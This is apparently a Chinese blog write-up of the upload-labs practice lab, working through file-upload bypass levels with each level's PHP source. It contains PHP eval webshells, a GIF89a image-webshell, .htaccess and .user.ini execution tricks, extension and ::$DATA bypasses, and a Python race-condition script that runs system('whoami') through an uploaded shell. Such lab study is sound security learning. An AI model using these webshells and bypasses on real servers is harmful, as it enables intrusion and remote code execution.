Upload-labs 高版本php环境非完全攻略

写在最前:怎么搭建和工具最基本的安装和使用【bp和蚁剑】就不说了,网上有很多教程,这里讲一下如何直接用127.0.0.1进行抓包【建议使用Firefox】:打开设置,搜索网络代理,按下图进行配置即可,这样如果bp拦截已开的话可以直接抓到包,算是最简单的一种方法了。

然后这里面的大部分题目现在基本上已经灭绝了,很多都是很老的环境或者PHP版本,现在考的更多是综合题目,写这篇算是再长长见识,考古一下看看哪些是自己不知道的。因此这里有较多题目是我未能复现出来的,也没必要专门为了一个很老的环境下的漏洞去配置很久,权当是拓展视野即可。

Level1

先传一个文件看看,然后发现有前端校验,那么就传一个正常图片的后缀再bp抓包修改一下,或者可以直接浏览器禁用前端:

然后这里可以直接forward,bp还会抓到上传的图片的文件位置,我们将这个URL输入蚁剑连接即可:

Level2

这里是MIME检查,如果按照第一关的做法来做的话就是改后缀而不是MIME了,所以这里传一个php文件:

然后对content-type的内容进行修改,改成image/png或者image/jpeg

php 复制代码
<?=eval($_POST[1]);?>   //这里是分号但我图中写太快了变成冒号了

然后发包,同时bp里面会抓到上传图片的所在位置:

然后我们蚁剑连接一下就可以了:

Level3

【这里其实有问题,因为我是phpstudy部署的upload-lab,然后这里涉及到了版本问题,如果要进行配置可参考该博主文章:phpstudy的apache服务器无法解析运行以.php5,.phtml等非.php后缀的文件的解决方法,直接在末尾添加就行了,然后这里给出我的路径:D:\phpstudy_pro\Extensions\Apache2.4.39\conf

在该目录下找到httpd.conf在最后面添加保存,最后重启服务就行】

试了一下,我们传的php后缀被检测出来了,这里就有了后端校验:

但是我们可以稍微修改一下改成phtml【或者之前配置的等价拓展名】,然后连接蚁剑,这样我们就成了:

Level4

过滤了更多东西,同时源码里面还显示过滤了.ini,但是提示里没看到:

这里可以用.htaccess来做,如果想了解.user.ini和.htaccess的话可参考我之前写的文章:htaccessuser.ini.同样这里也要更改默认的配置文件:

将AllowOverride 后面的 none改为all,后面再重启apche服务即可。

先构造.htaccess内容:

php 复制代码
<FilesMatch "a.png"> //如果请求的文件名匹配正则表达式"a.png",就应用括号内的规则
SetHandler application/x-httpd-php 
</FilesMatch> //结束这个条件块

上传之后再传我们的木马,但是不知道为什么连蚁剑时连不上,提示说是返回数据为空,a.png传是传了但可能还是配置有问题啥的.htaccess没生效,所以这里就复现失败了,然后我看网上好多说用.php..来进行绕过的【Windows系统特性绕过】,但是题目源码看一下会删掉文件末尾的点:

php 复制代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

而且真传的话也会显示此文件不允许上传,所以这里就做不下去了,只能往下走了。

Level5

这里正常做法就是传一个.user.ini,写入内容为:

php 复制代码
auto_prepend_file=a.png

然后再在a.png中写入我们的一句话木马上传即可,这里同样我也是不行,拼尽全力无法战胜..

Level6

这里面源码除了对.user.ini 和.htaccess的过滤外还有一点很大的区别,可以对比一下:

php 复制代码
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空


 $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

这样的话很明显就能看到没有用到大小写转换函数,那么在这里我们就能对其进行大小写绕过,将最后的php改成PHp即可

Level7

查看源码如下:

php 复制代码
  $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

这里可以看到去掉了trim函数【首位去空】,就比如说我们构造1.php ,最后面有一个空格的话那么不在黑名单内,就可以绕过过滤,但是依旧我的环境有问题,这里又不行了,权当作是做文件上传类型的题目时的一个思路吧

Level8

这里可以看到删掉了deldot(),没有过滤文件末尾的. 因此可以进行绕过,终于又连上了/(ㄒoㄒ)/~~

php 复制代码
 $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

Level9

php 复制代码
$file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空 

可以发现缺少了$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

Windows 系统中,::$DATA 是 NTFS 文件系统中的一种数据流标识 ,用于访问文件的主要数据流, 如果我们在一个正常的文件名后面加上::$DATA那么依旧是正常读写文件,最后加的只是作为数据流表示而存在,因此可以加上这个数据流标识来绕过黑名单,但是需要注意的是最后蚁剑进行连接时要将这个给去掉:

这是因为**::$DATA 是 Windows 用来骗过滤的"马甲",不是文件真实路径的一部分。**

蚁剑连的是 HTTP 协议,不是 NTFS 文件系统, 即Apache/Nginx 不会像 Windows 内核那样解析 ::$DATA

Level10

php 复制代码
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

这里需要注意的是代码的执行顺序:这里先是执行deldot后面再是trim,而在deldot()是从字符串的尾部开始,从后向前删除点.,直到该字符串的末尾字符不是.为止。这里的关键是deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来,最后trim又会删掉空格,因此可以构造1.php. .【点空格点】,那么最后生成的就是1.php.不在黑名单内可以绕过过滤,但不知道为啥又爆掉了....

Level11

php 复制代码
if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }

这里是对拓展名进行替换成空,但是只检测了一次,因此可以构造双写绕过如a.pphphp:

Level12、13

这里面源码注释一下,要不然有点懵:

php 复制代码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    // 白名单:只允许上传jpg、png、gif
    $ext_arr = array('jpg','png','gif');
    
    // 这行是在取文件扩展名
    // strrpos() 找最后一个点的位置,substr() 从这个位置+1开始截取
    // 比如上传 "shell.jpg" → 返回 "jpg"
    $file_ext = substr($_FILES['upload_file']['name'], strrpos($_FILES['upload_file']['name'], ".") + 1);
    
    // 检查扩展名是否在白名单里
    if(in_array($file_ext, $ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];  // 临时文件
        
        /******************* 漏洞核心 *******************/
        // $_GET['save_path'] 用户通过URL参数完全控制
        // 后面拼接了:/ + 随机数 + 时间戳 + . + 扩展名
        // 例如:?save_path=../upload
        // $img_path = ../upload/99_20250212123456.jpg
        $img_path = $_GET['save_path'] . "/" . rand(10, 99) . date("YmdHis") . "." . $file_ext;
        /***********************************************/
        
        // move_uploaded_file(临时文件, 目标路径)
        if(move_uploaded_file($temp_file, $img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

漏洞点:$_GET['save_path'] 用户可控,且直接拼接到文件路径里,没有任何过滤。

比如我们构造GET参数: ?save_path=../upload/shell.php%00,那么最终路径如下:

复制代码
../upload/shell.php%00/99_20250212123456.jpg  但是%00会进行截断,相当于只有shell.php【%00 是空字节,老PHP里文件操作函数看到它就认为字符串结束了】

但是当PHP >= 5.3.4:文件操作函数不再把 %00 当结束符,%00 变成普通字符,文件名不允许有空字节 → 保存失败,因此这道题也是考个谷,包括Level13POST传参也一样。

Level14

这里就看提示了:

说明我们不能直接搞一个txt写个webshell再改成png这种,如果想简单一点就找个正常图片010编辑一下,然后下面是一般的开头字节:

JPEG/JFIF 0xFF 0xD8

PNG 0x89 0x50

GIF 0x47 0x49

BMP 0x42 0x4D

我这里010编辑的:

如果要找图片的URL可以右键图片选择复制图像链接就行了,然后访问给我们的文件包含漏洞页面:

那以记事本形式打开我们的图片翻到最后看到是两个??php,所以这里再改一下进行上传然后发现还是不行【加在最后还是太不稳定了】因此这里采用"面向结果的编程":

另存为aaa.php,然后后面复制链接的时候发现变成了jpg,但是我们可以利用给我们的文件包含点进行命令执行或者连接蚁剑:

Level15

这里提示说本题使用getimagesize() ,这是 PHP 用来**判断"这是不是一张真的图片"**的函数。

如果是真的图片的话返回如下:

0 =\> 宽度, 1 =\> 高度, 2 =\> 图片类型常量(1=GIF,2=JPG,3=PNG...), 'mime' =\> 'image/jpeg'

getimagesize('文件') 的逻辑是:

  1. 读文件头几个字节

  2. 比对已知图片格式的签名

  3. 匹配上了 → 这就是个图片

  4. 匹配不上 → 这不是图片

那么这里我们可以使用非常经典的GIF89a,php识别为GIF图片后就能执行我们的图片马:

php 复制代码
GIF89a
<?php eval($_POST[1]);?>

Level16

提示使用exif_imagetype()检查是否为图片文件,也跟上面那个函数类似,定义如下:

exif_imagetype()是PHP扩展模块(EXIF)提供的图像类型检测函数,其核心工作流程并非基于文件扩展名或MIME标头,而是直接读取文件头部特定偏移量的二进制签名,同样也可以使用上一关的方法来进行getshell,但是得打开php的xif拓展才行:

Level17

这里是二次渲染,可以详细内容可以参考我之前写的跟二次渲染有关的题目:JPG二次渲染PNG二次渲染,因为png二次渲染的成功率高一点,所以一般建议用png进行。

这里看了网上别的大佬写的,可以不跑脚本直接用010编辑,找渲染之前和渲染之后都不变的地方插入木马,但是不知道为啥我这里除了开头不能改的这块其他全都不一样:

那就按照原来的方法脚本生成,这里就跳过了,重点讲下下面两关

Level18

php 复制代码
$is_upload = false;  // 设置上传状态为失败
$msg = null;  // 初始化提示信息为空

// 判断是否点击了提交按钮
if(isset($_POST['submit'])){
    // 允许上传的文件扩展名白名单
    $ext_arr = array('jpg','png','gif');
    
    // 获取上传文件的原始名称(客户端文件名,可控)
    $file_name = $_FILES['upload_file']['name'];
    
    // 获取上传文件的临时文件路径(服务器端)
    $temp_file = $_FILES['upload_file']['tmp_name'];
    
    // 从文件全名中截取扩展名,strrpos获取最后一个.的位置,substr截取后面部分
    // 漏洞点:完全信任客户端文件名,可以被伪造
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    
    // 拼接最终存储路径:上传目录 + 原始文件名
    $upload_file = UPLOAD_PATH . '/' . $file_name;
    
    // 先移动临时文件到上传目录(漏洞:文件已经存在于服务器了)
    if(move_uploaded_file($temp_file, $upload_file)){
        // 检查扩展名是否在白名单中(现在才检查,存在时间差)
        if(in_array($file_ext,$ext_arr)){
             // 如果在白名单中,生成随机新文件名:2位随机数 + 时间 + 原扩展名
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             
             // 将文件重命名为随机文件名
             rename($upload_file, $img_path);
             
             $is_upload = true;  // 上传成功
        }else{
            // 如果扩展名不在白名单中
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            
            // 删除已经上传的文件(漏洞:文件已经存在了一段时间)
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';  // 文件移动失败
    }
}

存在的漏洞:

  1. 先上传后检查:文件已经存在于服务器后才检查类型,存在时间窗口

  2. 完全信任客户端:文件扩展名直接从客户端获取,可以伪造

  3. 条件竞争 :从move_uploaded_fileunlink之间存在时间差,可以在此期间访问文件

  4. unlink可能失败:如果文件被占用或权限问题,可能删除失败

因此这里我们采用条件竞争的方法,先写我们的一句话木马,命名为shell.php:

php 复制代码
<?php eval($_POST['cmd']);?>

然后开启bp拦截直接上传shell.php,发送到intruder,按添加一个新的爆破点选择为空,然后选择一直请求:

然后这里的话还要在设置里面改个线程,我是直接拉满了:

然后的话我们还需要个python脚本一直请求访问这个文件:

php 复制代码
import requests
import time

def main():
    url = 'http://upload:8099/upload/shell.php'  //这里找自己的路径
    # 需要发送密码和执行命令来验证
    data = {'cmd': 'system("whoami");'}  # 密码是cmd,执行whoami命令
    
    print("[*] 开始监控shell...")
    count = 0
    
    while True:
        count += 1
        try:
            # 使用POST请求,发送密码和命令
            res = requests.post(url, data=data, timeout=1)
            
            # 如果返回200且有内容(命令执行结果)
            if res.status_code == 200 and res.text.strip():
                print(f"\n[✓] 成功!第{count}次访问")
                print(f"[✓] 当前用户: {res.text.strip()}")
                print("[✓] Shell可用!密码: cmd")
                break
            else:
                print(f"\r[*] 第{count}次访问 - 状态码:{res.status_code}", end="", flush=True)
                
        except Exception as e:
            print(f"\r[*] 第{count}次访问 - 连接中...", end="", flush=True)
        
        time.sleep(0.01)  # 10ms访问一次

if __name__ == '__main__':
    main()

然后我们就可以开始start-attack,同时在vscode跑我们的脚本,结果如下:

但是有个问题是我连不上蚁剑,按照源码里给的代码来看路径是没有问题的,而且浏览器里也能显示有这个文件,并且不是白名单跟时间戳也没关系,但就是这么显示:

我没招了.....

Level19

源码有些问题,做如下更改:

php 复制代码
function setDir( $dir ){
    
    if( !is_writable( $dir ) ){
      return "DIRECTORY_FAILURE";
    } else { 
      $this->cls_upload_dir = $dir.'/';
      return 1;
    }
  }
php 复制代码
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
 
 
function MyUpload( $file_name, $tmp_file_name, $file_size, $file_rename_to = '' ){
  
    $this->cls_filename = $file_name;
    $this->cls_tmp_filename = $tmp_file_name;
    $this->cls_filesize = $file_size;
    $this->cls_file_rename_to = $file_rename_to;
  }
function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }
 
    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }
 
    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }
 
    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
 
    // if we are here, we are ready to move the file to destination
 
    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
 
    // check if we need to rename the file
 
    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)
 
    return $this->resultUpload( "SUCCESS" );
  
  }
function move(){
    
    if( move_uploaded_file( $this->cls_tmp_filename, $this->cls_upload_dir . $this->cls_filename ) == false ){
      return "MOVE_UPLOADED_FILE_FAILURE";
    } else {
      return 1;
    }
 
  }
function renameFile(){
 
    // if no new name was provided, we use
 
    if( $this->cls_file_rename_to == '' ){
 
      $allchar = "abcdefghijklnmopqrstuvwxyz" ; 
      $this->cls_file_rename_to = "" ; 
      mt_srand (( double) microtime() * 1000000 ); 
      for ( $i = 0; $i<8 ; $i++ ){
        $this->cls_file_rename_to .= substr( $allchar, mt_rand (0,25), 1 ) ; 
      }
    }    
    
    // Remove the extension and put it back on the new file name
		
    $extension = strrchr( $this->cls_filename, "." );
    $this->cls_file_rename_to .= $extension;
    
    if( !rename( $this->cls_upload_dir . $this->cls_filename, $this->cls_upload_dir . $this->cls_file_rename_to )){
      return "RENAME_FAILURE";
    } else {
      return 1;
    }
  }

这里关键就是几个函数在干什么:

php 复制代码
1. isUploadedFile()  - 检查是否是上传文件
2. setDir()          - 设置目录
3. checkExtension()  - 检查扩展名(在白名单内吗?)
4. checkSize()       - 检查大小
5. checkFileExists() - 检查文件是否存在
6. move()            - 移动文件
7. renameFile()      - 重命名文件

总的来说就是先将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在,文件上传之后又对其进行了重命名。网上看别的大佬说涉及到了Apache解析漏洞【Apache解析文件时,是从右向左判断的】

php 复制代码
# Apache的mime.types配置
AddType application/x-httpd-php .php .phtml .php5
# 默认只解析这些,其他都不解析

example.php.rar.jpg
         └──┬──┘
        先看.jpg,不认识
      └─────┬──────┘
     再看.rar,还不认识
   └────────┬────────┘
  最后看.php,认识!当作PHP执行

这里也是打时间差进行条件竞争,但是同样用phpstudy的环境做不出来,若有需要可移步:2025最新 upload-labs(1~21关) 靶场通关,超详细保姆级

Level20

php 复制代码
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
 
        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
 
        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错!';
            }
        }else{
            $msg = '禁止保存为该类型文件!';
        }
 
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

这里看着好像有挺多方法的,但是我尝试了一下发现不行,就比如说这样:

这里上传的文件命名是以保存的名称来看的,改成PHp后发送保存的名称,然后这里又有一个问题出现了:保存的名称已经是PHp形式但是连不上蚁剑,然后浏览器访问却显示500,可能还是环境配置有问题:

后面再去找别的方法来做,看到这么一个:

move_uploaded_file()有这么一个特性,会忽略掉文件末尾的 /.

那么我们就将jpg改为php/.然后再次尝试,但是到这里的时候我发现了一个问题,连接蚁剑时最后一面还有一杠,然后我当时连的时候是没有的,于是我又按我之前的方法试了一遍发现就可以了:

如果按/.方法做的话结果又不一样了:

然后直接访问不管加不加/都能成功访问:

这就很奇怪了....后面又重新试了一下第一种方法,那么很难绷的事情就出现了:

问了LLM之后的回答也是仅供参考:

(一)Apache处理程序映射的初始化

某些Apache模块(如mod_php)在首次遇到新的扩展名时,可能需要加载额外的配置或动态模块。对于标准扩展名(如.php),处理程序早已加载;但对于非标准变体(如.Php),Apache可能需要时间解析或可能触发错误后回退。

(二)错误后的自动恢复机制

若首次访问因某种原因导致500(如PHP编译错误),Apache可能将该文件标记为"有问题",但在后续请求中,若文件未变化,可能经过一定次数的尝试后,Apache尝试重新执行,或者PHP的OPcache超时后重新编译,从而成功。

Level21

关键代码:

php 复制代码
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
    $file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
    $msg = "禁止上传该后缀文件!";
} else {
    $file_name = reset($file) . '.' . $file[count($file) - 1];
    // 后续移动文件...
}

第一,若**$_POST['save_name']** 存在且不为空,则**$file** 取自该值;否则取自上传文件的原始名**$_FILES['upload_file']['name']。**

第二,检查**$file** 是否为数组。若不是数组,则通过**explode('.', strtolower($file))** 将其转换为数组,分割符为点号。这意味着正常的字符串型**save_name** 会被拆分成多个片段,例如"shell.php.jpg"将变成**['shell', 'php', 'jpg']。**

第三,若**$file** 本身就是数组,则跳过**explode()** 步骤,直接使用该数组作为文件名各部分的容器。

第四,取数组最后一个元素**end($file)** 作为扩展名,进行后缀白名单检查(仅允许jpg/png/gif)。

第五,构造最终文件名:reset($file) (数组第一个元素)拼接点号再拼接**$file[count($file)-1]**(即最后一个元素,与扩展名相同)。注意这里没有拼接中间的元素。

这里便可以进行如下构造:

正常来讲的话最终文件名由 reset($file) . '.' . $file[count($file)-1] 决定。对于上述数组:reset($file) = 'shell.php',$file[count($file)-1]count($file)=2count-1=1,但索引1不存在,返回 NULL,拼接得 'shell.php.'

这里 png 并没有直接出现在拼接结果中,因为 $file[count($file)-1] 取的是索引1,而非索引2,png只用于end()检查,不参与文件名构造,但不知道为什么还是显示文件上传失败,如果将pngd的索引位置改为1的话那就是shell.php.png,那么最终的形式为jpg,我们的一句话木马也就不会被解析,还是以后碰到了再看吧。

相关推荐
hewence11 小时前
协程间数据传递:从Channel到Flow,构建高效的协程通信体系
android·java·开发语言
hoiii1872 小时前
拉丁超立方抽样(LHS)的MATLAB实现:基本采样与相关采样
开发语言·算法
~央千澈~2 小时前
抖音弹幕游戏开发之第6集:解析JSON数据·优雅草云桧·卓伊凡
开发语言·python·php
郝学胜-神的一滴2 小时前
深入解析Python中dict与set的实现原理
开发语言·python
lsx2024062 小时前
R语言中的判断语句
开发语言
一个处女座的程序猿O(∩_∩)O2 小时前
Python面向对象编程中的继承特性详解
开发语言·python
lsx2024062 小时前
PHP 魔术常量
开发语言
callJJ2 小时前
Java 源码阅读方法论:从入门到实战
java·开发语言·人工智能·spring·ioc·源码阅读
BD_Marathon2 小时前
原型模式——克隆羊
java·开发语言·原型模式